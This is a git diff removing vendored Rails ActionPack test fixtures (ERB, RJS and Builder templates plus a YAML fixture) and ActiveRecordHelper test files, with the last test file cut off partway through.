diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial_only.erb b/vendor/rails/actionpack/test/fixtures/test/_partial_only.erb
deleted file mode 100644
index a44b3eed..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial_only.erb
+++ /dev/null
@@ -1 +0,0 @@
-only partial
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb b/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
deleted file mode 100644
index 00e6b6d6..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-partial with only html version
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_person.erb b/vendor/rails/actionpack/test/fixtures/test/_person.erb
deleted file mode 100644
index b2e56889..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_person.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-Second: <%= name %>
-Third: <%= @name %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/_raise.html.erb b/vendor/rails/actionpack/test/fixtures/test/_raise.html.erb
deleted file mode 100644
index 68b08181..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_raise.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= doesnt_exist %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_two.html.erb b/vendor/rails/actionpack/test/fixtures/test/_two.html.erb
deleted file mode 100644
index 5ab2f8a4..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_two.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb
deleted file mode 100644
index 8d717fd4..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= "текст" %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb b/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
deleted file mode 100644
index 4e222461..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<%# encoding: utf-8 -%>
-<%= "текст" %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/action_talk_to_layout.erb b/vendor/rails/actionpack/test/fixtures/test/action_talk_to_layout.erb
deleted file mode 100644
index 36e896da..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/action_talk_to_layout.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<% @title = "Talking to the layout" -%>
-Action was here!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/array_translation.erb b/vendor/rails/actionpack/test/fixtures/test/array_translation.erb
deleted file mode 100644
index bcdeea4c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/array_translation.erb
+++ /dev/null
@@ -1 +0,0 @@
-<% translation = t(['foo', 'bar', 'baz_html']) %><%= translation.first %>, <%= translation.second %>, <%= translation.third %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb b/vendor/rails/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
deleted file mode 100644
index ac44bc0d..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/calling_partial_with_layout.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/capturing.erb b/vendor/rails/actionpack/test/fixtures/test/capturing.erb
deleted file mode 100644
index cdca9763..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/capturing.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-<% days = capture do %>
-  <p>Dreamy days</p>
-<% end %>
-<%= days %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/content_for.erb b/vendor/rails/actionpack/test/fixtures/test/content_for.erb
deleted file mode 100644
index 0e47ca8c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/content_for.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<% content_for :title do %>Putting stuff in the title!<% end %>
-Great stuff!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/content_for_concatenated.erb b/vendor/rails/actionpack/test/fixtures/test/content_for_concatenated.erb
deleted file mode 100644
index fb6b4b05..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/content_for_concatenated.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<% content_for :title, "Putting stuff "
-   content_for :title, "in the title!" %>
-Great stuff!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/content_for_with_parameter.erb b/vendor/rails/actionpack/test/fixtures/test/content_for_with_parameter.erb
deleted file mode 100644
index 57aecbac..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/content_for_with_parameter.erb
+++ /dev/null
@@ -1,2 +0,0 @@
-<% content_for :title, "Putting stuff in the title!" %>
-Great stuff!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/delete_with_js.rjs b/vendor/rails/actionpack/test/fixtures/test/delete_with_js.rjs
deleted file mode 100644
index 4b75a955..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/delete_with_js.rjs
+++ /dev/null
@@ -1,2 +0,0 @@
-page.remove 'person'
-page.visual_effect :highlight, "project-#{@project_id}"
diff --git a/vendor/rails/actionpack/test/fixtures/test/dont_pick_me b/vendor/rails/actionpack/test/fixtures/test/dont_pick_me
deleted file mode 100644
index 0157c9e5..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/dont_pick_me
+++ /dev/null
@@ -1 +0,0 @@
-non-template file
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/vendor/rails/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
deleted file mode 100644
index 8b8a4492..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/dot.directory/render_file_with_ivar.erb
+++ /dev/null
@@ -1 +0,0 @@
-The secret is <%= @secret %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/enum_rjs_test.rjs b/vendor/rails/actionpack/test/fixtures/test/enum_rjs_test.rjs
deleted file mode 100644
index e3004076..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/enum_rjs_test.rjs
+++ /dev/null
@@ -1,6 +0,0 @@
-page.select('.product').each do |value|
-  page.visual_effect :highlight
-  page.visual_effect :highlight, value
-  page.sortable(value, :url => { :action => "order" })
-  page.draggable(value)
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/formatted_html_erb.html.erb b/vendor/rails/actionpack/test/fixtures/test/formatted_html_erb.html.erb
deleted file mode 100644
index 1c64efab..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/formatted_html_erb.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-formatted html erb
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.builder b/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.builder
deleted file mode 100644
index 14fd3549..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.builder
+++ /dev/null
@@ -1 +0,0 @@
-xml.test 'failed'
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.html.erb b/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
deleted file mode 100644
index 0c855a60..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<test>passed formatted html erb</test>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb b/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
deleted file mode 100644
index 6ca09d53..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/formatted_xml_erb.xml.erb
+++ /dev/null
@@ -1 +0,0 @@
-<test>passed formatted xml erb</test>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/greeting.erb b/vendor/rails/actionpack/test/fixtures/test/greeting.erb
deleted file mode 100644
index 62fb0293..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/greeting.erb
+++ /dev/null
@@ -1 +0,0 @@
-<p>This is grand!</p>
diff --git a/vendor/rails/actionpack/test/fixtures/test/greeting.js.rjs b/vendor/rails/actionpack/test/fixtures/test/greeting.js.rjs
deleted file mode 100644
index 469fcd8e..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/greeting.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page[:body].visual_effect :highlight
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello.builder b/vendor/rails/actionpack/test/fixtures/test/hello.builder
deleted file mode 100644
index a4715539..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello.builder
+++ /dev/null
@@ -1,4 +0,0 @@
-xml.html do
-  xml.p "Hello #{@name}"
-  xml << render(:file => "test/greeting")
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb
deleted file mode 100644
index 10ec4432..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world.da.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hey verden
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world.erb
deleted file mode 100644
index 6769dd60..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
deleted file mode 100644
index 773b3c8c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Ola mundo
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world_container.builder b/vendor/rails/actionpack/test/fixtures/test/hello_world_container.builder
deleted file mode 100644
index e48d75c4..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world_container.builder
+++ /dev/null
@@ -1,3 +0,0 @@
-xml.test do
-  render :partial => 'hello', :locals => { :xm => xml }
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world_from_rxml.builder b/vendor/rails/actionpack/test/fixtures/test/hello_world_from_rxml.builder
deleted file mode 100644
index 8455b11e..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world_from_rxml.builder
+++ /dev/null
@@ -1,4 +0,0 @@
-xml.html do
-  xml.p "Hello"
-end
-"String return value"
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_world_with_layout_false.erb b/vendor/rails/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
deleted file mode 100644
index 6769dd60..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_world_with_layout_false.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hello_xml_world.builder b/vendor/rails/actionpack/test/fixtures/test/hello_xml_world.builder
deleted file mode 100644
index 02b14fe8..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hello_xml_world.builder
+++ /dev/null
@@ -1,11 +0,0 @@
-xml.html do
-  xml.head do
-    xml.title "Hello World"
-  end
-  
-  xml.body do
-    xml.p "abes"
-    xml.p "monks"
-    xml.p "wiseguys"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb b/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb
deleted file mode 100644
index cd087558..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/hyphen-ated.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello world!
diff --git a/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder b/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder
deleted file mode 100644
index 2fcb32d2..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/implicit_content_type.atom.builder
+++ /dev/null
@@ -1,2 +0,0 @@
-xml.atom do
-end
diff --git a/vendor/rails/actionpack/test/fixtures/test/list.erb b/vendor/rails/actionpack/test/fixtures/test/list.erb
deleted file mode 100644
index 0a4bda58..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/list.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb b/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb
deleted file mode 100644
index 7b6dcbb6..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/nested_layout.erb
+++ /dev/null
@@ -1,3 +0,0 @@
-<% content_for :title, "title" -%>
-<% content_for :column do -%>column<% end -%>
-<% render :layout => 'layouts/column' do -%>content<% end -%>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/non_erb_block_content_for.builder b/vendor/rails/actionpack/test/fixtures/test/non_erb_block_content_for.builder
deleted file mode 100644
index a9464356..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/non_erb_block_content_for.builder
+++ /dev/null
@@ -1,4 +0,0 @@
-content_for :title do
-  'Putting stuff in the title!'
-end
-xml << "\nGreat stuff!"
diff --git a/vendor/rails/actionpack/test/fixtures/test/potential_conflicts.erb b/vendor/rails/actionpack/test/fixtures/test/potential_conflicts.erb
deleted file mode 100644
index a5e964e3..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/potential_conflicts.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-First: <%= @name %>
-<%= render :partial => "person", :locals => { :name => "Stephan" } -%>
-Fourth: <%= @name %>
-Fifth: <%= name %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs b/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs
deleted file mode 100644
index 4eb12fd6..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_explicit_html_template.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page.call "document.write", render(:partial => "one.html.erb")
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_file_from_template.html.erb b/vendor/rails/actionpack/test/fixtures/test/render_file_from_template.html.erb
deleted file mode 100644
index fde9f4bb..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_file_from_template.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :file => @path %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_file_with_ivar.erb b/vendor/rails/actionpack/test/fixtures/test/render_file_with_ivar.erb
deleted file mode 100644
index 8b8a4492..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_file_with_ivar.erb
+++ /dev/null
@@ -1 +0,0 @@
-The secret is <%= @secret %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_file_with_locals.erb b/vendor/rails/actionpack/test/fixtures/test/render_file_with_locals.erb
deleted file mode 100644
index ebe09fae..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_file_with_locals.erb
+++ /dev/null
@@ -1 +0,0 @@
-The secret is <%= secret %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs
deleted file mode 100644
index 3d680417..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template.js.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page.call "document.write", render(:partial => "one")
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
deleted file mode 100644
index 0740b2d0..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hey HTML!
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
deleted file mode 100644
index 4a11845c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-Hello HTML!
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb b/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
deleted file mode 100644
index d5b94af5..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb
+++ /dev/null
@@ -1 +0,0 @@
-alert('hello');
diff --git a/vendor/rails/actionpack/test/fixtures/test/render_to_string_test.erb b/vendor/rails/actionpack/test/fixtures/test/render_to_string_test.erb
deleted file mode 100644
index 6e267e86..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/render_to_string_test.erb
+++ /dev/null
@@ -1 +0,0 @@
-The value of foo is: ::<%= @foo %>::
diff --git a/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb b/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb
deleted file mode 100644
index cb07fca8..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/scoped_array_translation.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= t(['.foo', '.bar']).join(", ") %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb b/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb
deleted file mode 100644
index f38c0bda..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/sub_template_raise.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= render :partial => "test/raise" %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/template.erb b/vendor/rails/actionpack/test/fixtures/test/template.erb
deleted file mode 100644
index 785afa8f..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/template.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= template.path %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/translation.erb b/vendor/rails/actionpack/test/fixtures/test/translation.erb
deleted file mode 100644
index 81a837d1..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/translation.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= t('.helper') %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/update_element_with_capture.erb b/vendor/rails/actionpack/test/fixtures/test/update_element_with_capture.erb
deleted file mode 100644
index fa3ef200..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/update_element_with_capture.erb
+++ /dev/null
@@ -1,9 +0,0 @@
-<% replacement_function = update_element_function("products", :action => :update) do %>
-  <p>Product 1</p>
-  <p>Product 2</p>
-<% end %>
-<%= javascript_tag(replacement_function) %>
-
-<% update_element_function("status", :action => :update, :binding => binding) do %>
-  <b>You bought something!</b>
-<% end %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block.html.erb b/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block.html.erb
deleted file mode 100644
index a93fa02c..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<% render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb b/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb
deleted file mode 100644
index 71b1f30a..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/using_layout_around_block_with_args.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<% render(:layout => "layout_for_block_with_args") do |*args| %><%= args.join %><% end %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb
deleted file mode 100644
index ac98c2f0..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/utf8.html.erb
+++ /dev/null
@@ -1,4 +0,0 @@
-Русский <%= render :partial => 'test/utf8_partial' %>
-<%= "日".encoding %>
-<%= @output_buffer.encoding %>
-<%= __ENCODING__ %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb
deleted file mode 100644
index 257279c2..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/utf8_magic.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<%# encoding: utf-8 -%>
-Русский <%= render :partial => 'test/utf8_partial_magic' %>
-<%= "日".encoding %>
-<%= @output_buffer.encoding %>
-<%= __ENCODING__ %>
diff --git a/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
deleted file mode 100644
index cb22692f..00000000
--- a/vendor/rails/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
+++ /dev/null
@@ -1,5 +0,0 @@
-<%# encoding: utf-8 -%>
-Русский <%= render :partial => 'test/utf8_partial' %>
-<%= "日".encoding %>
-<%= @output_buffer.encoding %>
-<%= __ENCODING__ %>
diff --git a/vendor/rails/actionpack/test/fixtures/topic.rb b/vendor/rails/actionpack/test/fixtures/topic.rb
deleted file mode 100644
index 9fa97465..00000000
--- a/vendor/rails/actionpack/test/fixtures/topic.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Topic < ActiveRecord::Base
-  has_many :replies, :dependent => :destroy
-end
diff --git a/vendor/rails/actionpack/test/fixtures/topics.yml b/vendor/rails/actionpack/test/fixtures/topics.yml
deleted file mode 100644
index 61ea02d7..00000000
--- a/vendor/rails/actionpack/test/fixtures/topics.yml
+++ /dev/null
@@ -1,22 +0,0 @@
-futurama:
-  id: 1
-  title: Isnt futurama awesome?
-  subtitle: It really is, isnt it.
-  content: I like futurama
-  created_at: <%= 1.day.ago.to_s(:db) %>
-  updated_at:
-  
-harvey_birdman:
-  id: 2
-  title: Harvey Birdman is the king of all men
-  subtitle: yup
-  content: It really is
-  created_at: <%= 2.hours.ago.to_s(:db) %>
-  updated_at:
-
-rails:
-  id: 3
-  title: Rails is nice
-  subtitle: It makes me happy
-  content: except when I have to hack internals to fix pagination. even then really.
-  created_at: <%= 20.minutes.ago.to_s(:db) %>
diff --git a/vendor/rails/actionpack/test/fixtures/topics/_topic.html.erb b/vendor/rails/actionpack/test/fixtures/topics/_topic.html.erb
deleted file mode 100644
index 98659ca0..00000000
--- a/vendor/rails/actionpack/test/fixtures/topics/_topic.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= topic.title %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb
deleted file mode 100644
index cac04c8e..00000000
--- a/vendor/rails/actionpack/test/template/active_record_helper_i18n_test.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-require 'abstract_unit'
-
-class ActiveRecordHelperI18nTest < Test::Unit::TestCase
-  include ActionView::Helpers::ActiveRecordHelper
-
-  attr_reader :request
-  def setup
-    @object = stub :errors => stub(:count => 1, :full_messages => ['full_messages'])
-    @object_name = 'book'
-    stubs(:content_tag).returns 'content_tag'
-
-    I18n.stubs(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns "1 error prohibited this  from being saved"
-    I18n.stubs(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
-  end
-
-  def test_error_messages_for_given_a_header_option_it_does_not_translate_header_message
-    I18n.expects(:translate).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').never
-    error_messages_for(:object => @object, :header_message => 'header message', :locale => 'en')
-  end
-
-  def test_error_messages_for_given_no_header_option_it_translates_header_message
-    I18n.expects(:t).with(:'header', :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => '').returns 'header message'
-    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-    error_messages_for(:object => @object, :locale => 'en')
-  end
-
-  def test_error_messages_for_given_a_message_option_it_does_not_translate_message
-    I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).never
-    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-    error_messages_for(:object => @object, :message => 'message', :locale => 'en')
-  end
-
-  def test_error_messages_for_given_no_message_option_it_translates_message
-    I18n.expects(:t).with(:'body', :locale => 'en', :scope => [:activerecord, :errors, :template]).returns 'There were problems with the following fields:'
-    I18n.expects(:t).with('', :default => '', :count => 1, :scope => [:activerecord, :models]).once.returns ''
-    error_messages_for(:object => @object, :locale => 'en')
-  end
-
-  def test_error_messages_for_given_object_name_it_translates_object_name
-    I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => @object_name).returns "1 error prohibited this #{@object_name} from being saved"
-    I18n.expects(:t).with(@object_name, :default => @object_name, :count => 1, :scope => [:activerecord, :models]).once.returns @object_name
-    error_messages_for(:object => @object, :locale => 'en', :object_name => @object_name)
-  end
-
-  def test_error_messages_for_given_object_name_with_underscore_it_translates_object_name
-    I18n.expects(:t).with('bank_account', :default => 'bank account', :count => 1, :scope => [:activerecord, :models]).once.returns 'bank account'
-    I18n.expects(:t).with(:header, :locale => 'en', :scope => [:activerecord, :errors, :template], :count => 1, :model => 'bank account').returns "1 error prohibited this bank account from being saved"
-    error_messages_for(:object => @object, :locale => 'en', :object_name => 'bank_account')
-  end
-end
-
diff --git a/vendor/rails/actionpack/test/template/active_record_helper_test.rb b/vendor/rails/actionpack/test/template/active_record_helper_test.rb
deleted file mode 100644
index 6ec4c84a..00000000
--- a/vendor/rails/actionpack/test/template/active_record_helper_test.rb
+++ /dev/null
@@ -1,302 +0,0 @@
-require 'abstract_unit'
-
-class ActiveRecordHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::ActiveRecordHelper
-
-  silence_warnings do
-    Post = Struct.new("Post", :title, :author_name, :body, :secret, :written_on)
-    Post.class_eval do
-      alias_method :title_before_type_cast, :title unless respond_to?(:title_before_type_cast)
-      alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
-      alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
-    end
-
-    User = Struct.new("User", :email)
-    User.class_eval do
-      alias_method :email_before_type_cast, :email unless respond_to?(:email_before_type_cast)
-    end
-
-    Column = Struct.new("Column", :type, :name, :human_name)
-  end
-
-  class DirtyPost
-    class Errors
-      def empty?
-        false
-      end
-
-      def count
-        1
-      end
-
-      def full_messages
-        ["Author name can't be <em>empty</em>"]
-      end
-
-      def on(field)
-        "can't be <em>empty</em>"
-      end
-    end
-
-    def errors
-      Errors.new
-    end
-  end
-
-  def setup_post
-    @post = Post.new
-    def @post.errors
-      Class.new {
-        def on(field)
-          case field.to_s
-          when "author_name"
-            "can't be empty"
-          when "body"
-            true
-          else
-            false
-          end
-        end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() [ "Author name can't be empty" ] end
-      }.new
-    end
-
-    def @post.new_record?() true end
-    def @post.to_param() nil end
-
-    def @post.column_for_attribute(attr_name)
-      Post.content_columns.select { |column| column.name == attr_name }.first
-    end
-
-    silence_warnings do
-      def Post.content_columns() [ Column.new(:string, "title", "Title"), Column.new(:text, "body", "Body") ] end
-    end
-
-    @post.title       = "Hello World"
-    @post.author_name = ""
-    @post.body        = "Back to the hill and over it again!"
-    @post.secret = 1
-    @post.written_on  = Date.new(2004, 6, 15)
-  end
-
-  def setup_user
-    @user = User.new
-    def @user.errors
-      Class.new {
-        def on(field) field == "email" end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() [ "User email can't be empty" ] end
-      }.new
-    end
-
-    def @user.new_record?() true end
-    def @user.to_param() nil end
-
-    def @user.column_for_attribute(attr_name)
-      User.content_columns.select { |column| column.name == attr_name }.first
-    end
-
-    silence_warnings do
-      def User.content_columns() [ Column.new(:string, "email", "Email") ] end
-    end
-
-    @user.email = ""
-  end
-
-  def protect_against_forgery?
-    @protect_against_forgery ? true : false
-  end
-  attr_accessor :request_forgery_protection_token, :form_authenticity_token
-
-  def setup
-    setup_post
-    setup_user
-
-    @response = ActionController::TestResponse.new
-
-    @controller = Object.new
-    def @controller.url_for(options)
-      options = options.symbolize_keys
-
-      [options[:action], options[:id].to_param].compact.join('/')
-    end
-  end
-
-  def test_generic_input_tag
-    assert_dom_equal(
-      %(<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />), input("post", "title")
-    )
-  end
-
-  def test_text_area_with_errors
-    assert_dom_equal(
-      %(<div class="fieldWithErrors"><textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea></div>),
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_field_with_errors
-    assert_dom_equal(
